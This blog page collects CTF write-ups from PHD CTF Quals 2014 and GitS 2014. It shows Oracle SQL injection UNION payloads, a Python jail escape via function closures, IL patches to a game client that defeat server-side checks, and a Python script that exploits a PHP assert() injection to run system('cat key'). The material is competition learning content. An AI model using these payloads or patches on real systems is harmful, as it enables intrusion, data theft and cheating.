A disturbing lack of taste. Just another WordPress site


PHD CTF Quals 2014 – oracle Writeup

In this challenge a site under construction is provided, only a PNG banner is displayed. After a bit of bruteforcing the directories we found out that in robots.txt there is a interesting link: /address_shops.php?city=Moscow . Going trought it we have the source of the page: /address_shops.php~ . Now its fairly clear that there is a SQL injection and the task is to find a way to extract the secret product. After a bit of browsing the database we found out our table:'' union all select distinct table_name||owner as address from dba_tables-- -&debug

table SECRET_PRODUCT owned by PHD_IV_OWNER1. Thats a pitty actually since we are PHD_IV user so we don't own that table's right and we can't get its columns nor data.

How to do this so? Browsing trought the procedures and their codes:'' union all select distinct owner||OBJECT_NAME||procedure_name as address from all_procedures-- -&debug'' union all select distinct text as address from dba_source-- -&debug

we found out a pakcage named SHOP_PRIVATE_PKG owned by PHD_IV_OWNER2. Using the functions provided in this packages such as: GET_PRODUCT_CATEGORY,GET_PRODUCT_QUANTITY, ecc .. we'll have access to the SECRET_PRODUCTS. But how to inject custom payload? From the db dump its pointed out that on GET_PRODUCT_QAUNTITY function we have an injection point:

select p.quantity
from secret_products p
where 1 = 1
and p.name = ''' || P_PRODUCT_NAME|| '''';
where P_PRODUCT_NAME is the arg we pass to the function. Selecting the table secret_product from this function , since its owned by an owner with rights , we can dump the table.
Here is the script to extract the flag:


Filed under: Uncategorized No Comments

PHD CTF Quals 2014 – pyjail

The task gives us a python sandbox to escape. We aren't allowed to use any of the builtin function and we are denied to use this words: (?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)

Also we have limited charset:  \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}

Now inside sandbox() function there are 2 functions: we_must_be_sure_flag_part1_is_ready and we_must_be_sure_flag_part2_is_ready that copy to FLAG variable its part of the flag. Also flag will be printed only in case FLAG != part1_of_flag. In divider function() we find out that for have the complete flag we need that  int(v1) / int(v2) == 13.37 ( hard uh?). For exploit this we used divider function that is passed in our context during the eval of our input and we called the function we_must_be_sure_flag_part1_is_ready() and we_must_be_sure_flag_part2_is_ready() using its data model attribute "func_closure" + cells.

Exploiting code:

root@kaiman:/home/nms/phd$ nc 1337
Welcome to pyjail!

Try to get the flag!
Use ctrl+D or --- to submit your code

def get_cell_value(cell):
return type(lambda: 0)(
(lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
print get_cell_value(div.func_closure[8])()
print get_cell_value(div.func_closure[9])()
Flag is 7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649


Filed under: Uncategorized No Comments

PHD CTF Quals 2014 – lost and found part 2

After connecting to the SSH machine and inspecting the filesystem some interesting directories cames out in /var/cache/man/. After listed them all it seems that they contains huge amounts of files with random name. Listing them using the --color option we found out in /var/cache/man/cap5 that there is an executable SUID bitted.  Executing it turns out that its the tcpdump executable. Running it a lot of garbage packets comes out. Just filter them using "not port 22" and printing also the data of each packet:

/var/cache/man/cap5/a35c4b1e-c4bd-4599-9d7a-da601996862f -XX not port 22

Now just wait a bit and the flag should appear:  6470e394cbf6dab6a91682cc8585059b


Filed under: Uncategorized 2 Comments

PHD CTF Quals 2014 – rbox and Metal Gear Felix Writeup


Easy XOR encryption. For find the key just input empty message since key^0=key:


Metal Gear Felix

Another easy task. A video on youtube is provided with an arithmometer and some calculcation done on it. The machine was a russian Felix Arithmometer. After googled it on its operation we just put all the caluculations together:

php -r 'echo (524813609 * 7) + (5248136090 * 3) + (52481360900 * 3) + (524813609000 * 1) - (5248136090) .

And get the result: 696427659143


Filed under: Uncategorized 1 Comment

GitS 2014: lugkist (Trivia 150)

We got a list of 63 6-character lines, containing a limited set of uppercase ascii-characters. After some time we found out that these matches the cheat-commands of the GameGenie cheat-hardware. Basically it encodes an address and some data which shall be written to this address. The following decoder gives you the flag:

import operator

a = open('lugkist').read().strip().split('\n')
a = a[2:]  # strip first two lines

t = {}
for k, v in enumerate('APZLGITYEOXUKSVN'):  # GameGenie character-map
    t[v] = k

res = {}
for n in a:
    address = ((t[n[3]] & 7) << 12) | ((t[n[5]] & 7) << 8) | ((t[n[4]] & 8) << 8) | ((t[n[2]] & 7) << 4) | ((t[n[1]] & 8) << 4) | (t[n[4]] & 7) | (t[n[3]] & 8)
    data = ((t[n[1]] & 7) << 4) | ((t[n[0]] & 8) << 4) | (t[n[0]] & 7) | (t[n[5]] & 8)

res[address] = hex(data)[2:].decode('hex')

plain = ''
for k, v in sorted(res.iteritems(), key=operator.itemgetter(0)):  # sort by address
    plain += v

print plain

Flag: Power overwhelming? Back in my day cheats did not have spaces.

by ccmndhd and nsr


GitS 2014: Unbearable (Pwn Adventure 75)

I have to admin we failed this. Took ages to find the solution. But pretty obvious in the end.

The challenge was to open a chest guarded bei bears. When we try to open the chest a 5:00 minutes countdown start and will be resetted if we move too far away. Also the bears start to attack us. Using infinite-jump we can jump on the chest were they can't reach us, but if the counter reaches 1:30 the bears get armed with AK47's and shoot us down in a minute.

The solution here is the wine you can buy in the north park. The wine gives you 10%-15% damage-reduction for 60 seconds. The bug here is that the Player::drinkWine(int damageReduction) function does not validate the given damageReduction.

I simply patched the GameLogic.dll (using ILSpy to extract the IL assembly, then used ilasm.exe to assemble it again. If anyone knows a better way that editing IL-assembler please please let me know!).

The patch is in Player::DrinkWine() position IL_0044. Replace ldarg.1 by ldc.i4.s 100 to get a 100% damage protection.

Now you can go to the chest, open it and simply drink one bottle of wine every 50-60 seconds so you stay invincible until the chest is open.

Flag: The Drunken Master can bear any trial

by ccmndhd and nsr


GitS 2014: Rabbit of Caerbannog (Pwn Adventure 75)

This is a nice reference to Monty Python and the Holy Grail :D

We need to kill the cute little (but deadly) rabbit by using a "Holy Handgrenade". When you take a look into the GameLogic you'll see the handgrenade is the only weapon that can deal damage to the rabbit, so don't try to shoot it.

Unfortunately the only way to get such a grenade is by buying them with "Gears" in the Gear-menu. But we have no Gears, Shame. The solution is to patch the GameLogic to allow us negative purchases. The amount of stuff we buy is only checked client-side, so after patching the validation we are able to buy -1 Bag of Gold (usually substracts 99 gears and adds 200 gold, but in this case substracts 200 gold and adds 99 gears, enough for the handgrenade). Using this handgrenade we can kill the rabbit and get the flag.


GameServerConnection::IAPPurchae(): IL_0029 change bge IL_005f to ble IL_005f (only allows negative purchases now, need to be reverted to buy the grenade afterwards)

<IAPPurchase>c__AnonyStorey18::m__21(): IL_018c remove/comment out the ret. The class is a method-callback within the ClientHandler

These patches should be enough. Flag: Thy_foe_b31ng_n4ugthy_1n_My_s1gh_t_shall_snuff_it

by ccmndhd and nsr


GitS 2014: A Boaring Quest (Pwn Adventure 150)

This turned out to be pretty easy compared to Unbearable. The quest was to kill 9800 boars in the boar-level.

The solution is to call GameServerConnect::QuestKill(string name) with the name "Boar" while staying in the boar-level. This will trick the game-server to assume we did these quest-kills, because this directly updates the QuestManager and doesn't care about real kills.

A good function to patch is Player::setJumpState() because this method is called very often and when we add this patch we can get the 9800 kills in about a minute.

To patch the Player::setJumpState() method add this code after .maxstack 8:

ldsfld class GameServerConnection GameState::gameServer  // equal to GameState.gameServer.
ldstr "Boar"  // the first (and only) argument
callvirt instance void GameServerConnection::QuestKill(string)  // call the QuestKill(string name) method on GameState.gameServer

After waiting some time in the board level and getting our 9800 kill-count I've removed this patch again to not spam the game-server ;-)

With the 9800 souls we can simply follow the story, get the Boomstick (Shotgun) and kill the 30 Undeads (using the Wine from Unbearable may help ;-) ). We get the flag: ZombieProcessesWillEatYourBrains

by ccmndhd and nsr


GitS 2014: Ad Substract (Pwn Adventure 75)

The challenge given by an ingame NPC was to get rid of the Ad diplayed in the Game Menu. After taking a look into the AdDownload class we sniffed the hostname of the server delivering the Ad-Images (dontpanicsoftware.com).

Then we simply changed the IP via /etc/hosts and send back a 1*1 pixel transparent PNG. This was rendered as the new Ad and the underlying text was shown containing the flag: AdBlockedHaveASillyMooseAnyway

by ccmndhd and nsr


GitS 2014: PHPCrypto (Recon 100)

This one was a straight-forward PHP RCE.

We got a link to an encryption/decryption system based on PHP. After reading the homepage-html-comments we've found that the "API-Endpoint" had a function dump beside the customCrypto function. This one allowed us to fetch the sourcecode.

The issue was a parameter called DEBUG for the customCrypto function which allowed us to generade debug-messages with assert(). Basically assert() is the same as eval() but kills the program if the result evaluates to false.

After figuring this out the attack was simple:
assert("\$message = \"The key is: $xorKey and the plaintext is: \".addslashes(\"$plaintext\");");

The $xorKey is changed from the given input earlier, but the $plaintext is as we send it. For the assertation we need a $xorKey that is valid PHP-Code, so I've simply used ; (encoded as X because the script will substract 29 from it).

The $plaintext then is a simple php-code: ").system('cat key');//

from requests import post

key = chr(ord(';') + 29)
plaintext = "\").system('cat key');//"

payload = 'function=customCrypto&key=%s&plaintexthex=%s&DEBUG=true' % (key, plaintext.encode('hex'))
res = post('http://phpcrypto.2014.ghostintheshellcode.com/crypto.php', data=payload, headers={'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': len(payload)})

print res.text

Flag: ThisWasAStupidTestKeyThatBecameARealBoy

by ccmndhd